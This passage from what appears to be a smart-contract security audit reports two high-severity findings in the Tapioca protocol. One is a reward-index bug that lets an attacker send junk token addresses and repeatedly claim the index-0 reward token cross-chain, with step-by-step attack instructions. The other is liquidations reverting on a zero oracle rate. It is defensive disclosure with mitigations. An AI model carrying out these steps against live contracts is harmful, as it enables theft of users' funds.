can be called to collect rewards accrued by the twTAP position. This function can only be called by the TapOFT.sol
contract during a crosschain operation. Thus a user on chain A can call claimRewards
and on chain B, the function _claimRewards
will be called and a bunch of parameters will be passed in that message.
(
,
,
address to,
uint256 tokenID,
IERC20[] memory rewardTokens,
IRewardClaimSendFromParams[] memory rewardClaimSendParams
) = abi.decode(
_payload,
(
uint16,
address,
address,
uint256,
IERC20[],
IRewardClaimSendFromParams[]
)
);
All these parameters passed here comes from the original lz payload sent by the user from chain A. Of note is the array rewardTokens
which is a user inputted value.
This function then calls the twtap.sol contract as shown below.
try twTap.claimAndSendRewards(tokenID, rewardTokens) {
In the twTAP contract, the function claimAndSendRewards
eventually calls _claimRewardsOn
, the functionality of which is shown below.
function _claimRewardsOn(
uint256 _tokenId,
address _to,
IERC20[] memory _rewardTokens
) internal {
uint256[] memory amounts = claimable(_tokenId);
unchecked {
uint256 len = _rewardTokens.length;
for (uint256 i = 0; i < len; ) {
uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
uint256 amount = amounts[i];
if (amount > 0) {
// Math is safe: `amount` calculated safely in `claimable()`
claimed[_tokenId][claimableIndex] += amount;
rewardTokens[claimableIndex].safeTransfer(_to, amount);
}
++i;
}
}
}
Here we want to investigate a case where a user sends some random address in the array rewardTokens
. We already showed that this value is set by the user, and the above quoted snippet receives the same value in the _rewardTokens
variable.
In the for loop, the indexes are found. But if rewardTokens[i]
is a garbage address, the mapping rewardTokenIndex
will return the default value of 0 which will be stored in claimableIndex
. The array amounts
stores the amounts of the different tokens that can be claimed by the user. But since claimableIndex
is now 0, the safeTransfer
function in the end is always called on the token rewardTokens[0]
. Thus a user can withdraw the rewardtoken in index 0 multiple times and in amounts based on the values stored in the amounts
array.
Thus we have shown that a user can steal an unfair amount of tokens stored in the 0 index of the rewardTokens
array variable in the twTAP.sol contract. This will mess up the reward distribution for all users, and can lead to an insolvent contract. Thus this is deemed a high severity issue.
Proof of Concept
The attack can be done in the following steps:
- Attacker calls
claimRewards
on chain A. The attacker is assumed to have a valid position on chain B with pending rewards. - The attacker passes an array of garbage addresses in the
rewardTokens
parameter. - The contract sends forth the message to the destination chain, where the twTAP contract is called to collect the rewards.
- As shown above, the reward token stored in index 0 is sent multiple times to the caller, which is the
TapOFT
contract. - In the TapOFT contract, the contract then sends all the collected rewards in the contract cross chain back to the attacker. Thus the tokens in index 0 were claimed and collected.
Thus the attacker can claim an unfair number of tokens present in the 0th index. If this token is more valuable than the other rewward tokens, the attacker can profit from this exploit.
Recommended Mitigation Steps
Mitigation can be done by not using the 0th index. The zero index of the rewardTokens
array in twTAP.sol
, if left empty, will point to the zero address, and if an unknown address is encountered, the contract will try to claim the tokens from the zero address which will revert.
This can be enforced by using the statement rewardTokens.push(address(0))
in the constructor. However changes will need to be made on other operations in the contract which loops over this array to skip operations on this zero address now present in the array.
0xRektora (Tapioca) confirmed via duplicate issue 1093
[H-37] Liquidation transactions can potentially fail for all markets
Submitted by zzzitron, also found by GalloDaSballo
As an example, when calling BigBang.liquidate()
the tx potentially fails, because the subsequent call to Market.updateExchangeRate
(BigBang.sol line 316) can face a revert condition on line 344 in Market.sol.
In Market.updateExchangeRate()
a revert is triggered if rate
is not bigger than 0 - see line 344 in Market.sol.
Liquidations should never fail and instead use the old exchange rate - see BigBang.sol line 315 comment:
// Oracle can fail but we still need to allow liquidations
But the liquidation transaction can potentially fail when trying to fetch the new exchange rate via Market.updateExchangeRate()
as shown above.
This issue applies for all markets (Singularity, BigBang) since the revert during the liquidation happens in the Market.sol contract from which all markets inherit.
Because of this issue user’s collateral values may fall below their debt values, without being able to liquidate them, pushing the protocol into insolvency.
This is classified as high risk because liquidation is an essential functionality of the protocol.
Proof of Concept
Here is a POC that shows that a liquidation tx reverts according to the issue described above:
https://gist.github.com/zzzitron/90206267434a90990ff2ee12e7deebb0
Recommended Mitigation Steps
Instead of reverting on line 344 in Market.sol when fetching the exchange rate, consider to return the old rate instead, so that the liquidation can be executed successfully.